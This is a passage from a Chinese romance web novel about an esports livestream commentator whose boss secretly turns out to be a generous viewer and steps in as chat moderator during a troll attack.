“那你回去之后,我会更努力给工厂下订单的。钱远新做不到的事,季总肯定可以做到的。”他说,“毕竟你现在亲眼见到这些东西,也知道它们会有多漂亮的效果了,对吧?” 季闻则怔愣两秒,然后失笑。 他点头:“好,你尽管开口。”- 两人落地的时候,差不多刚过午饭饭点,季闻则来不及吃饭就要去赶赴会议,在机场买了份快餐,路上匆忙垫了些。郁思白时间宽裕,只需要等下午季闻则回来,再去场馆。 杨孟越定的是两间房,郁思白拿到房卡后忍不住说:“跟老板出差确实也有好处。” “怎么?”季闻则问。 “以前跟钱翀一起出差过一次,三天两夜,标间。”郁思白回忆着,代入感太强,连眉头都皱了起来。 “实在是……不太受得了他的卫生习惯。当天我就自费开了另一间房住了。” 季闻则失笑:“知道了,下次出差还给你安排单间。” “不。”郁思白毫不犹豫,“尽量别给我安排出差。” “唔,对,你平时还要直播,确实不方便。”季闻则了然,拿出手机道,“郁组长,微信加一下?” 郁思白一顿,最终还是没有拒绝。 还是那串之前在礼盒合格证上看到的微信号,头像是毫无特点的风景照,昵称直接就是本名,工作的味道十分浓重。 两人就此作别。 郁思白拎着他的大背包乘电梯上楼。他和季闻则不在一层,房型似乎也不一样,这大概是老板的特权。不过酒店星级不低,即使是大床房,面积也有三十多平,沙发办公桌应有尽有。 郁思白在飞机上就大致做好了这两天的规划,到房间后简单收拾了一下,洗了把脸,眼看比赛开赛时间只剩半个小时了,立刻打开笔记本调试直播间。 他今天还真的有直播任务,是今年的第一个世界性赛事,大师赛的首个比赛日。 放在往常,他开赛前十分钟再开播都来得及,但人在外面,笔记本也很多年没担任过直播的任务,郁思白还是决定早点试试,以免临时掉链子。 结果说什么来什么,酒店的网差到他看别人的直播间都十秒三卡,更别提转播纯净流了。 显然是播不成的。郁思白发愁起来。 硬件条件不支持,但今天是大师赛第一场,还是他签约ICG后,队伍的首秀,于情于理他都不想缺席。 郁思白给酒店前台打了电话,前台表示无能为力,酒店wifi要供这么多人使用,网速慢也没有办法,并告诉他,如果有网速需求,可以去十楼的会议厅外,或者七楼宴会厅,这两个地方网速会相对好一些。 但郁思白又不可能搬着电脑坐到走廊直播,只能谢绝前台的好意。 想了一下,他决定在附近找个网咖。虽然肯定达不到家里千兆光纤的网速,但也勉强能播。 郁思白迟疑片刻,还是摸出手机,在心里叹了口气。 没想到刚加上季闻则微信,这就用上了。 【季总,我有事需要出去一趟。一会儿可能不大看手机。】 他还是给季闻则发了消息。虽说会议结束时间都有定数,一个BO3的比赛也最多打个两个多小时,但万一季闻则开会提前回来,找他去场馆参观,结果一敲门没人答应,发消息又石沉大海…… 总归是不太好。 消息发出去,郁思白本来是当留言板用的,没指望季闻则能现在看到,结果他连聊天界面都还没退出去,对面就回复。 【ok】 郁思白沉默一秒。 季闻则这种人,也会在会议上玩手机吗。 转念一想,竟然也丝毫不崩人设。 紧接着,对面又弹出一句话。 【是去直播?】 虽然隔着屏幕,但郁思白还是下意识后仰。 这人开了吧? 诧异之后,郁思白还是直接回复。 【嗯,晚上有比赛要解说。酒店网不好,出去找个地儿。】 马甲掉了的唯一好处体现出来了……连借口都不用编。 没两秒,季闻则发来一条语音。 “你去我房间试试?我明天有会要开,杨助提前跟酒店打过招呼,网速处理过。我让杨助跟前台联系,给你拿张房卡,直接去。” 没有人能拒绝瞌睡时候被送枕头,郁思白眼睛一亮,立刻应下。回了两句谢谢,一句文字,和一个表情包,十分隆重。 【客气。】季闻则回他。 郁思白在房间里等了快十分钟,也没闲着,在O众点评把附近网咖的电话都打了一遍,问有没有包厢网速能支持直播,筛选过后,给自己找到一家距离300m的网咖作为退路。 离直播开始只剩七、八分钟的时候,一个穿着正装、酒店经理打扮的人敲响了郁思白的房门,递上一张房卡后,侧过身,露出身后一个工装师傅,礼貌道。 “郁先生,季总叮嘱我您现在急用网络,您可以现在就带着电脑上楼,试一试,如果不行的话,让师傅现调,您放心,肯定处理好。” 这架势看得郁思白在心底咋舌,手上半点没停,拿上笔记本和便携的支架麦克就上了楼。 进门之后,由于时间紧迫,郁思白都没来得及打量季闻则这间小套房,半秒也没浪费,在书桌前放下电脑就打开推流软件开始测速。 幸好,一切顺利,酒店经理放了心,带着没派上用场的工装师傅告辞离开,一句好奇的话都没多问。 这么一番折腾下来,郁思白终于按下【开始直播】键的时候,屏幕上的开赛倒计时已经跳到了【01:00】 直播间里,弹幕鬼哭狼嚎地喊着。 【开门!!】 【不播就滚】 【我知道你在家!】 【主播不会又在上班吧】 “今天周六不上班!你们做个人吧。”郁思白开口就忍不住了。 弹幕开始乐此不疲地复读他那句出圈了的—— 【我在上班】。 郁思白开始庆幸自己来的够晚,这场闹剧在开赛倒计时结束之后,终于消弭了。 一阵强劲的鼓点响起,伴随着干冰氛围和灯光秀,两支队伍依次入场。 但这入场特效属实比较一般,平心而论,还不如国内联赛的出场效果,郁思白想了一下,还是评价:“没事,一会儿赛场上帅回来就行。” 【笑死了已经完全夸不出口……】 ICG作为cn赛区一号种子,对阵的是EMEA赛区的四号种子,看起来应该是碾压局,但fps游戏太吃临场状态,联赛倒一把联赛第一大比分零封的事情也不是没有过。开赛前,郁思白多少还是有些紧张的。 但ICG今天显然状态在线,虽然和联赛夺冠时,五人全员发挥的状态还有差距,整场比赛也实在焦灼,最后加时三把,终于赢下第一局,率先拿下BO3的赛点。 比分定格的时候,所有人都松了口气。 中场休息的音乐响起,主办方的歌品却很一般,郁思白拉了静音,自己换了个bgm放。 直播间情绪很轻松,弹幕也终于有时间跟主播聊两句了。 【res今天解说感觉不够有激情啊】 【确实,声音比往常小】 【是不是换设备了?感觉麦克风收音和往常不一样】 “你们耳朵挺尖啊。”郁思白笑,“出差了,在酒店。用笔记本播的。” 【?酒店直播】 【怪不得之前说网不好……】 【那你是去网吧了?】 “没,在我……”郁思白顿了一下,说,“在我同事屋里播的。他这里网好。” “所以你们今天少说怪话啊。”末了,他不忘叮嘱。 【这么牛吗,啥酒店啊我下次也去。】 【怪话?我们从来不说怪话】 【是你带的头!】 “好好好,我背负。哎,社畜背负……”郁思白叹气。 【咋还是社畜,之前不是说要辞职?】 【就是,都快一个月了流程也该走完了吧,咋还出差】 【不是跟ICG签合同成他们家主播了吗,还以为你早跑了】 “没有,没辞。”郁思白笑了下,“天下乌鸦一般黑。以前说是骑驴找马,其实只能骑驴找驴。要我说世界上根本没有马,否则赵高当年也不会指鹿为马。” 【???】 【主播疯了】 【查询精神状态】 【但感觉,主播最近还挺开心的?】 “开心……还行?”郁思白想了想,“最近不怎么忙。” 誉衡别苑那边也才刚开工,他们室内设计这环进场还早,项目不赶时间,一组最近难得闲暇,平时大多就是跟进一下先前的家装项目,之前他们设计的树屋家庭,最近也已经定稿开始动工了,郁思白从渝市回去,还得抽空去现场看一眼。 嘉年华场馆的项目,郁思白是打算自己先把草稿定了,把克里夫那边的意向拿得更稳一些,再在组内启动。 毕竟这项目,从一开始就只是他一个人想做,要是最后,他拉着大家一起热火朝天干半天,却搞得白忙活一场……郁思白不想看到这样的事发生。 【不忙怎么直播这么少?】 【你最近懈怠了!】 “这不是没比赛嘛。”郁思白笑,“主播这个主要的副业,毕竟还是二路解说啦。你们也不想看主播打游戏打不到人吧。” 【谁说的?多播爱看】 【你不废话吗,枪法不练怎么能提升】 【……可能还真不行】 【主播上学时候高强度练枪,困难bot最高记录才18。】 【这就是主播特有的永远18岁()】 郁思白露出假笑,呵呵两声:“人贵知足啊朋友们……上帝已经给我开了画图的窗,还有一颗聪明的指挥大脑……就不要奢求枪法了吧。” 【又说到主播的伤心事了hhh】 【新粉,什么事啊】 “……唉。”说起这个,郁思白起手就是一声哀叹。 “想当年主播没成年的时候,不能直播,所以平时就是做做切片、分析一下比赛录像这样。结果有职业队给我发过消息,问我要不要去当职业选手,说我的意识很顶尖。” “我拒绝了,我说不行抱歉我没有这个能力和意向……但对方还是穷追不舍,问我现在港服第几。” 郁思白先是怅然,然后握了握拳,咬紧牙关。 “我说,我是铂金。” “他再没回过我。” 【……草】 【哈哈哈哈哈哈】 【我要笑死了。主播的少年时期——我是铂金;主播的青年时期——我在上班。啊啊啊】 【那主播的中年呢】 【——我要辞职】 【草啊哈哈哈禁止紧跟时事!】 弹幕笑闹了一会儿,等欢声笑语稍稍落下,有弹幕说。 【但res你还是多播播吧,免得被有些高仿截胡了流量】 郁思白向来是不会理会这类弹幕的,大概率是专门来带节奏的人,但这次和往常不太一样,头一个发的是他直播间老观众,说完后,又有几个高等级粉丝牌的观众附和。 【这倒确实】 【主播的赛道终于还是有人来抢饭了】 “什么高仿?”郁思白还是问。 【ASHI公会最近扶持了一个新主播,风格啥的挺微妙的。】 【说是很多年前的欧服高分,后来上学去了,现在重新开始玩游戏。主页也全是八、九年前你老公的视频,开播第一天就在直播间招魂Execut2】 “耶?”郁思白笑道,“我们卡神还有流量让人蹭呢?还有这种好事?今夕是何年啊。” 【是有流量啊,就ICG庆功宴那天下来,切片全爆了。大部分上年纪的退役选手,直播的时候都看了。】 【你就没发现你的Execut2视频最近半个月流量暴增吗】 这郁思白还真没关注。 实在是这半个来月事情太多,他本人……更是成了Execut2的网友。 也是某种意义上变成了一只现充,谁还有空看自己以前剪的视频是什么数据啊! “哎,这就是我们卡神的实力。一个电话,全电竞圈都炸了。” 【我服了,没空直播有空看绿江文学城是吧】 【主播也该有点危机感了,那个主播打的旗号是,你有的他有,你没有的他也有。】 【没有的那个是枪法吗】 【是的()】 【不是枪法啊,是Execut2好友位】 【那个主播还跟Execut2私聊过,有职业选手给他背书……确实不是p的】 “我还以为什么呢,好友位啊。”郁思白悠悠摇头,无所谓道,“我还有Execut2微信呢。” 【?】 【主播又做梦了】 【梦吧梦吧看孩子可怜的】 “都说了他当年帮过我,有微信不是很正常?”郁思白笑。 Execut2给过他二十万的事儿,郁思白从没往外说过,只说Execut2当年帮过自己,是很重要的事,久而久之粉丝也不再问了。 【不信不信】 【要真有,你早把聊天记录焊死在直播间上了】 【哥们还不懂你吗】 “跟你们说不清楚。”郁思白表现得轻轻松松,不说消息真假,就这么开玩笑似的揭过了这个容易被带节奏的话题。 他说:“真心喜欢Execut2的人,当然是越多越好了。我总提他,也就是不想他被忘记……” “咔哒。” 一道细微的开门声在郁思白背后响起,却被淹没在耳机里的bgm声中。 他托着下巴,絮絮道。 “他的成绩、他的能力、他做过的事……哪个不值得被一直记住?不能因为他没在cn赛区打过,就把他为赛区以前做过的事全都抹除了呀。” 【主播又开始了他的传/教】 【我会背了,下一句是“我会一直喜欢Execut2的”。】 郁思白看到这条弹幕,忽然摸了摸鼻尖。 以前说……是想着反正Execut2退网了,又不可能看他直播间,看了也不可能给他反馈,他当然是怎么放飞怎么说。 现在就不一样了。 他不说话,弹幕急了。 【??说词儿啊】 【怎么回事,你不是主播!谁绑架了我的主播!】 郁思白捏了下有些发烫的耳垂,犹豫了一下,还是用比往常小了一点的声音说。 “这事儿还用强调吗。我当然会一直喜欢E……” 突然,他听见一声重物掉落的闷响自身后响起,脊背瞬间爬上寒意,郁思白猛地回头。 季闻则站在他身后四五米远的地方,手里拎着电脑,看方向是正准备往外走,却一个不注意,碰倒了放在桌边的摆件。 两人视线对上的瞬间,先是沉默。 郁思白张了张嘴,半晌才找回声音。 “……你、你怎么回来的这么早。” “只去了上半场,该接洽的都接洽上了,下半场没什么营养,就回来了。”季闻则弯腰捡起摆件,笑容无奈,“没想打扰你的。” 郁思白问:“你是要去加班吗?” “不加。”季闻则说。 ……那就是专门给他腾出空间了。 抓了抓头发,郁思白有点不好意思,想了一下,眼睛在马上要开始的比赛转播上转了一圈,一个念头冷不丁冒出来。 “那你……要不要来看看现场比赛?”他说,“我在解说薛老板的队伍打世界赛,你也来沉浸式体验一下吗?”—— 作者有话说:[猫爪] 30-40 第31章 【???谁】 【主播你旁边有野男人!】 【Execut2 is watching you】 【啊, 是同事吧】 郁思白回头看向屏幕,下意识抬手遮了一下奇奇怪怪的弹幕窗。 “你是说……让我和你一起解说?”身后,季闻则的声音略带迟疑。 “肯定不会让你解说啊。”郁思白笑了下, 道,“就是问你想不想看个现场比赛。” 他虽然只是询问一句, 但说话的同时, 已经拉着凳子往一边蹭了蹭,给他留出了位置,一双眼睛带着明亮的期待看过来。 让人说不出拒绝的话。 季闻则抿了下唇,唇边扬起笑容。 “不了。你工作,我还是不打扰了?”他说,“你安心播, 不用觉得不好意思,我正好也要出去吃点东西……你吃了吗?” “点了外卖, 吃过了。”郁思白说完, 想起季闻则的午饭确实只是随便垫了垫,可能从会议溜出来, 原本就是为了去吃点东西也说不定。 “好吧,那不留你了。”他说。 他定了定神,回头重新看向屏幕,却没听到身后传来关门离开的声音, 再一扭头, 发现季闻则还站在那里。 “你……”郁思白刚一张嘴, 却又不知道怎么说这话。 明明是人家的地盘,总不好自己开口赶人家走吧,多不礼貌啊。 但季闻则明显理解了他未尽的意思,唇边笑意扬起, 轻笑问:“但我可以在餐厅看你的直播……你介意吗?” 顿了顿,他又补充:“其实提早出来,原本也有这个意思的。” 郁思白呆了两秒,捏着鼠标的手指在表面不自觉搓了搓,道:“哦……行、行啊。” 季闻则笑容便更深了些。 “好。”他应了一声,“那你忙,我先走了。” 说罢,他拿着电脑转身离开,临走时还轻轻带上了房门。 咔哒。 落锁的声音,这次清晰地在郁思白耳边响起了。却又像是打开了某一处的开关,让他整个人一激灵。 刚才莫名僵硬生锈住的大脑重新开始转动,很生涩的转动着。郁思白眨了眨眼睛,紧接着,骤然睁大。 刚刚……季闻则是主动申请来看他的直播??! 说实在的,郁思白邀请他坐下来一起看,其实也就是灵机一动、随口一说,压根没抱什么希望,也不指望这位季总,真的能用他宝贵的时间来看这种东西。 他想改变老板是一回事儿,但做事也要讲基本法,他所期待的不过就是季闻则在未来共事的日子里,对设计师多一点了解,项目的内核多几分关注……别再像以前那些人一样,张口闭口除了钱和效率,没有其他。 仅此而已。 可季闻则说…… 他提早从会议跑出来,是为了看他的直播? 郁思白重重抿了下唇,干咽了好几下,最后才想起自己手边有水,拧开盖子,吨吨就是好几口。 刚刚一瞬间被烧干cpu的大脑,仿佛久旱逢甘霖的干涸土地,被水这么一浸润,终于重新灵活起来。 他重新看向弹幕窗,就走了一会儿神儿的功夫,弹幕已经刷出去几百条了。 他稍微往前面翻了翻,这是他的习惯——总要把直播间的动向始终都掌握在手中比较好,以免刚刚有什么人趁乱带了节奏,而他并不知情,被当成切片剪出去的话又是一场无妄之灾。 【双人直播啊好诶好诶!】 【同事哥声音有点好听啊,没人觉得吗】 这是一开始的弹幕,对于他突然邀请人,表现的极其热情。 【等会儿不对啊,res不是一直遮掩马甲的吗?】 【你这是正经同事吗???不对吧你。】 【卧槽,什么档次的同事有这脸面能知道你直播id的?】 【家人们,我有一个不成熟的想法,还记不记得上次庆功宴上把res接走的那个帅哥……?】 【??我觉得你说的有点道理】 一串弹幕看的郁思白冷汗直冒,弹幕福尔摩斯大神实力太过强劲,他庆幸起自己当时没看弹幕窗,否则连怎么回都不知道。 又滑过去几页弹幕,大概是听到了对方的拒绝,弹幕开始嗷嗷嗷地表示失望。 再之后,就又是整页整页的问号。 【什么叫,逃会议看直播】 【这对吗】 【Respit2我再说一遍!!Execut2 is watching you!!】 【老公这东西,要赛博的还是立体的我还是分得清的.jpg】 这是最新一条弹幕,郁思白额角顿时突突狂跳起来。 都说了,你们今天说话注意一点! 他咬了咬牙,说:“废话,当然是要赛博纸片老公老婆,你们这些没品的家伙。这里是J站,纸片人大本营,懂吗?” 【我支持】 【正确的res】 弹幕风向再次被一句话引导,转而去聊纸片人了,直到中场休息结束,再也没有什么离谱发言,直播间安安全全来到了第二局比赛,郁思白松了口气。 算算时间,这个点儿季闻则应该也才在餐厅坐下。就算现在他立刻打开直播间,也不会看到什么奇怪的话了。 虽然这样,但郁思白还是叹了口气。 掉马……唉,也不知道是福是祸。好处他实打实得到了,但是提心吊胆也是真的……但好像和他原先设想的提心吊胆的方式,不太一样。 以前他努力遮掩马甲,是担心被心怀不轨的同事知道。 好一点的情况,只是被挂在嘴边经常说说,再传播出去让更多人知道,他郁思白还干着这么一行。 不好一点的话……把他的直播内容断章取义地一剪辑,再反手一个举报,什么都完了。 他原先一直担心的是这些。 但季闻则…… 他觉得季闻则不会这么做。季闻则这人,虽然不一定是一个很有理想的善良资本家,但人品这一块,郁思白确实很放心。 季总不一定,但季闻则是好人。 他单纯是没想到,掉马这一天真的来临的时候,他竟然担心的是自己的清白——自己,和季闻则的清白。 真是滑稽,但滑稽里又隐隐带着点儿诡异的安心。 郁思白抬手,擦了下额角真真切切沁出来的汗,想了想,趁着比赛还正在展示选手英雄选取,没有正式开始,拿出手机给季闻则发了个消息。 【你在看的话可以把id发我,我给你上个房管】 【就是管理员。我直播间有时候会批量封禁观众,被封就看不了了。给你上个管理员,这样你就不会被误封。】 郁思白起手就是一大段睁眼说瞎话。 被封其实只会让人说不了话……但他思来想去,还是觉得要把老板的id套出来比较好。 这样,他以后就可以在观众名单里面得知老板今天有没有来视察。 没视察的话,当然是重操旧业,吐槽社畜生活了。 季闻则这样的成功总裁,想必也没有刷短视频看直播切片的习惯,更没有时间看直播回放。所以只要拿捏住这点,他就是稳稳的安心。 过了一会儿,对面回复。 【季闻则:不用特殊待遇】 【季闻则:我会听话的】 看着这句话,郁思白缓缓地、深深地吸了一口气。 然后以迅雷不及掩耳之势,按下截屏键。 耳机里响起比赛倒计时开始的声音,郁思白没空多说,只回了一句简短的【ok】,这个瞬间,感觉自己像极了甩手掌柜。 然后他收敛注意力,重新全神贯注地投入到比赛解说里。 但第二场形势并不乐观,ICG上来就连输两个手枪局,第三局奖励局起满五把长枪,却被对方二打四绝地翻盘。 在不断的负面循环下,上半场比分来到1:6的时候,只拿下一分的ICG叫出了第一个暂停。 弹幕的脸色向来和成绩挂钩,这就是电子竞技的风格,也是电子竞技的糟粕。 【打的也太臭了……】 【rnm退钱】 【看得我火大。】 【老子午休没睡觉就给我看这个??】 【不赢那就滚】 “没必要这么大火气的,看的不爽现在退出去都来得及……还有上班上学午休的,肯定是午休重要啊,你们下午没活干的吗?”郁思白玩笑,“你们真的很爱了,单休的周六上班还来看比赛……放心,ICG肯定能赢。” 【本来能干脆利落2:0,非要搞个窝窝囊囊蠕动着赢?】 【几个莫名其妙死的镜头,我都不知道咋评价,难绷】 【亚海不是ICG强图吗,联赛总决赛把对面打的跟孙子一样,怎么世界赛给别人尽孝来了】 【ICG这状态危险了】 “状态其实还可以,只是这个图被研究透了。”郁思白耐心解释。 越是这种弹幕群情激奋的时候,他越是语气平和,和自己打游戏时生动的样子完全不同。即使隔着网线,情绪也是会传染的,正常来讲,只要他稳定下来,弹幕也渐渐都会回归理智状态的。 “ICG被了战术,虽然看起来很多画面死的莫名其妙,但本质上还是信息被拿多了。”郁思白说。 “第一局整体状态都没问题,第二局上来被点了三个头,换我……算了换不了我,换个随便谁来,枪感都得出问题。pupu和kulu这两局已经在追了,枪法状态明显回暖,剩下只需要教练组去帮他们处理掉战术上的问题。” 【主播还在给ICG洗】 【有点受不了了……理解你签了ICG之后需要有倾向,但睁眼说瞎话还是别了】 【ggwp有种别跑送出醒目留言(30):以前一直觉得你是难得把战术讲的清楚的中立主播,签了ICG果然变味儿了,江湖不见】 【啊?这也跑?】 【一号种子要是输四号种子的话那我们cn赛区完蛋咯】 “输?不会输的。”郁思白只当没看见那条醒目留言,说,“ICG有韧性,他们在联赛也打过不少让一追二,这点我还是相信的。而且对面也不是纸面强队,从枪法上限上就差我们不少。” 【但对面是TYU啊,Execut2呆过的队伍】 “TYU怎么了吗?他们这赛季就是打的不好啊。EMEA联赛我基本都有播,你们可以去看。”郁思白顿了顿,说,“不要迷信队名……物是人非沧海桑田,哪有刻舟求剑的道理?” Execut2在EMEA赛区役期间,辗转三支队伍,TYU是最后一个,也是他生涯最后一冠的队伍。 要说郁思白对TYU没有滤镜,那是假的。早年关注Execut2的粉丝,一部分跟着他转粉ICG,另一部分则留在了TYU。 【笑死,你把Execut2三个老东家的战队皮肤全买了的时候,可不是这么说的】 【现在不一样了吧,主播好朋友都在ICG,Execut2老东家算什么】 【主要还是签了ICG吧,不然偏向性不会这么大的,我老粉了】 【往前推个六七年可能主播就站TYU了】 郁思白忽然眯了眯眼,隐约觉得弹幕风向有点不对。 “往前推六七年也不可能。”他说的干脆,“主播是cn赛区的二路,外战一致对外,只要有cn的队伍就一定支持cn,这有什么好说的?” 【等ICG输了你就转头去舔TYU是吧】 【去年冠军赛,cn队伍跟TYU对上的时候,cn队伍输了主播还在笑哦】 这几句话一出来,来添乱的黑子显然已经演都不演了,郁思白再看不出来就可以原地宣布销号停播了。 他扯了扯嘴角,低头在手机上ICG新拨给他的房管发了条消息,让他注意一下发言id,该封的时候就动手封。但可能是第一次合作,房管小哥答应的很快,但封禁的动作却总是慢一拍。 奇怪的言论源源不断地涌入,像蟑螂一样杀之不尽,渐渐的,也有老观众察觉到不对。 【怎么回事……房管干活啊】 【签了ICG就这待遇吗主播……你还不如单干我说真的】 【对啊,以前直播间哪有这么多怪东西】 【新房管?】 “嗯,新房管。”郁思白说完,笑了一下,“ICG给我的待遇够好了,私底下的我都不好说给你们听,怕你们嫉妒起来,骂主播是工贼,不和你们一个战线了。ICG那边还给你们准备了不少抽奖的礼物,半小时端上来一个,房管刚刚在忙这个呢。” 【薛老板大气!】 【但也不能给你个没经验的新房管吧……】 郁思白说:“好了,再说我统统打成来带节奏的啊,误封的你们下播给我发私信,我再给你们解封。现在专注比赛,也给房管一点时间,人家也是新来上班的,都是打工人,就对我们打工人多一点耐心吧?” 【……你这一说突然觉得也挺苦逼的】 【也就res能这么劝水友了,社畜help社畜】 【唉先屏蔽一会儿弹幕算了】 “其实大家真的不用太担心ICG,这张图现在才打到第七回合,进攻方能拿个4分其实就及格了,2分能打,1分可期,懂吧?”郁思白笑。 “据我所知下张图也是ICG强图,就是备赛这段时间刚练出来的,确实打的不错。之前我没把话说得太满,但现在我说也行。今天第一张图一上来我看到他们状态就知道,今天赢定了,我什么时候预测错过?你们尽管放心了。” 【外网把这场比赛上升到Execut2出走EMEA赛区是对是错了】 【啥意思,要是ICG输了,他们还要当时空警察清算Execut2不成??】 【不是吧国外也搞剥夺冠军那套糟粕?】 【翻斗花园牛爷爷送出醒目留言(500)】 【翻斗花园牛爷爷:别吵了都,看比赛行不行?】 500块的sc不是小数目,刚一发出,弹幕就起哄起来。 【主播又发战争财了hhh】 【黑子来发sc啊,穷鬼】 【让主播狠狠恰】 也不知是不是被弹幕激将了,房管还没来得及封禁的几个带节奏的id,真的纷纷打钱跟上。 【一枪一个小学鸡送出醒目留言(500):穷鬼叫谁?你爹骂ICG怎么了?混子队伍一个,混的一号种子被人家四号种子打成这样?】 【入狱时间到送出醒目留言(100):房管能不能干活了?ICG就这么放养我们主播?不给个说法?】 郁思白看得眉头一皱,彻彻底底知道这帮人醉翁之意到底在哪了,甚至猜得出是谁花钱在后面搞他这一回。 目的无非就是想在他签约ICG之后,首播比赛的日子,一下子把他和ICG的关系打烂,背后的人想都不用多想,就是那些个以前想签他、结果没签成的公会。 郁思白没再催促房管,直接给薛简发了条消息,大致告知他这件事情,并约了下播后详细聊。 大家私底下关系确实不错,但遇事儿也得先保持沟通,免得真叫人钻了空子。 一边打字,郁思白还要分神看着场上的形式,嘴也没停下,心底却不免生出些无奈来。 说实话,这就是他一直不愿意签公会的原因。哪怕他跟ICG的关系这么近,也始终婉拒薛简的邀约,就是怕这种事的发生。 人和人之间一旦有了利益牵扯,再张口说什么话,就总是不纯粹了。 更何况和ICG的合同一签,理论上,薛简就摇身一变,从朋友变成了他的老板。 郁思白对“老板”这词,实在是很有些阴影。 给薛简的消息发出去后,薛老板估计在忙自己的事儿,没有第一时间回复。郁思白强迫自己收拢注意力,专注面前的比赛。 ICG暂停之后卓有成效,仿佛一瞬间勘破了对方的针对战术,连追了两分,却在第三分的时候,再次陷入僵局。 ICG在赛场上焦灼僵持,导播切了梁路的镜头,向来以阳光开朗示人的少年,此刻眉头紧锁,气压很低,pupu的嘴一张一合,神情同样严肃,不知是在布置战术,还是临场给年轻队员做做心理疏导。 场上一旦陷入劣势,郁思白的直播间里也顿时又是一片黑子狂欢,如同海啸一样源源不断地涌来,挤压得正常观众在弹幕里都没有了存在感。 微信跳了一下,是ICG分拨给他的房管,给他发了一个哭的表情,说【res哥我真的一直在封,封不完】 【不怪你。】郁思白回他。 除了直播刚火起来的那两年,他在无畏契约二路解说的地位还不稳定,那几个年头,直播间常常是这样乌烟瘴气的,他努力治理了很久才有了一个干干净净的直播间。 后来上班之后,直播频率渐渐降低,虽然每次开播人气还是能直接登顶,但大概是已经不怎么动太多别人的蛋糕,于是也没再被这样针对过。 说来说去,也还是自己松懈了。郁思白想。 他看了眼又莫名其妙吵起来的弹幕,一面给自己原来的房管发消息让他上线救个急,一面分析赛场局势,一心二用,整个脑子都要裂开一样。 【404 送出深水潜艇群x10】 【404 送出海底世界x1 特效正在全平台播放】 郁思白愣住。 海底世界是平台最贵的礼物,大五位数,送出即可在全平台播放红包特效,让路人也点进来参与红包抽奖。 深水潜艇群则是次一档的,大四位数,特效仅在本直播间播放,但也瞬间把乌烟瘴气的弹幕窗清了屏。 【404 送出醒目留言(5000):给我房管,帮你封人】 【???我靠土豪哥】 【榜一救一下啊榜一QAQ】 【哥你都这么送潜艇了,哪还需要封人啊】 【黑子已经无人在意了哥】 【好帅的语气,让我想起一位故人……】 “谢谢……404老板。” 过了半晌,郁思白才回复,谢礼物的声音都慢了半拍。 这个简短的说话方式,还有上来先打钱再问话的行动逻辑……在看到最后那条弹幕前,他脑海里就闪过了几乎同样的话。 是Execut2吗? ……这个404。 这个猜测在他脑海里如同藤蔓肆意蔓延,郁思白头一次顾不上解说,反手拿起手机就点进置顶的那个对话框,打字的手哆嗦了一下,不断误触又立刻删除,一行短短的字,打了将近半分钟。 【卡神,你在看直播吗?那个404是_】 突然,上方跳出新消息提示的弹窗。 【季闻则:404是我】 【季闻则:给我管理员吧,我帮你看着,你安心播】—— 作者有话说:[猫爪] 第32章 屏幕里的比赛还在继续, 郁思白没有太多时间思考,看到这条消息后,只是短暂停顿了一下, 然后立刻回了句好。 【你会吗】他问。 【季闻则:学一下】 时间紧迫,郁思白看到后虽然咯噔了一下, 但还是选择先相信, 在后台快速操作,给这个消失已久突然回归的404老板上了房管。 三个臭皮匠还能顶一个诸葛亮呢,不管怎么说,两个新手房管总比一个好。 而且……季闻则从ICG庆功宴之前就在看我直播? 这个想法在郁思白脑海里一闪而过,被他强行压下。 他重新投入到解说里,但半场结束, 他终于有喘息时间的时候冷不丁发现,给季闻则上了房管之后, 弹幕好像真的和谐了不少。 季闻则这个新手房管, 当得比那个正儿八经房管小哥还好,之后也不是没有再来带节奏的人, 郁思白看到了,但那些人,基本只是刚冒个头,就杳无声息了。 而ICG最后也和郁思白说的一样, 虽然惊险, 但下半场靠着绝佳的韧性和不输总决赛的发挥, 开场连拿八分,最后以13:7的分数2:0拿下TYU。 cn赛区首战首胜,拿下胜利的还是自己好朋友所在的战队,结束解说后, 郁思白却有点心不在焉,把今天ICG官方准备的礼物一股脑抽完,就决定下播。 【下场不播吗?】 【才四点!不许下播,好不容易有这种比赛在大白天的时差。】 【求你了呜呜没了你我可怎么办啊res】 【看你的解说长大的QAQ真不习惯听别人】 【你妈的Respit2,奶大了孩子不养了是吧?我要告诉警察叔叔你遗弃!】 【周末啊你不上班吧】 “确实有事,我是加班来的啊。”郁思白没多解释。 【你这是升职了吗re宝,咋最近忙成这样】 【明天也有cn队伍比赛你不播了吗】 【刚签ICG就摆烂啊,ICG签了个大爷】 【用户21469243 已被房管封禁】 “最近是有点忙……但是在做件大事。”郁思白说,“什么大事?这就不能说了。事以密成晓得嘛。” 【之前的Execut2展台你报名没啊】 【隔壁主播好像也有点设计功底,在直播间说报名了,你赶紧点儿啊】 【用户90832864 已被房管封禁】 【?不能提别人名字了还,到时候你个一直说专业的被人家把展台截胡了,我们就拥立隔壁主播成为新的Execut2粉头哈,无语】 【用户41203029 已被房管封禁】 有些弹幕几乎是一闪而过,发出来的下一秒就被封禁+删除一条龙伺候了,手速之快令人叹为观止。 【……榜一哥疑似有点杀疯了】 【杀杀杀!早该杀了这帮带节奏的】 【发愁,咋才能把榜一哥留下来做一辈子房管】 郁思白心里咋舌,心想这可不兴留啊,更何况就是他想留,这位也不是留的住的主。 不过,也可以让ICG那个新人房管小哥心里有个努力的标杆了。 这位404老板的房管能力不是盖的……哦,现在是真的季闻则老板了。 郁思白摸了摸下巴。 老板做起助理、房管这种事儿来,意外的得心应手啊。 可惜了,是个雇不起的,不然他都想倒反天罡了。 又和弹幕聊了两分钟,看完赛后采访,郁思白就关了直播。 耳机一摘,郁思白起身,陡然觉察出屋里的安静。双层玻璃隔音很好,窗外就是车水马龙的大街,耳边却一点都听不到。 郁思白就这么在窗前站了半分钟,大概是高强度持续讲话的后遗症,此刻大脑还有点过度使用后的懵然。 直到手机的消息提示声,把他惊醒。 【季闻则:场馆那边来电话了,说随时可以去。】 【好的,我马上下来】 【季闻则:不急,十分钟后楼下见】 【收到】 郁思白手比脑子快,先回复了消息,目光却不可控地在那条【404是我】的消息上黏住。 和【收到】这种社畜味格格不入的一条消息……到底为什么会出现在他和季闻则的对话框里呢? 这个世界还是真实的吗。 我该不会是熬夜猝死后穿到什么平行世界了吧。 时间一分一秒往前推进,时钟又变换了两次数字之后,郁思白废了好大的劲,才把视线从聊天框扒下来。 可黏黏糊糊的胶水感还是残留在脑海里,把本就乱遭的思绪搅成了一团浆糊。 ……不对,不能再发呆了。郁思白忽然想。 要去场馆那边的话,季闻则肯定不能抱着电脑去。他会上来放东西的,如果让他看到自己在房间磨磨唧唧的就不好了。 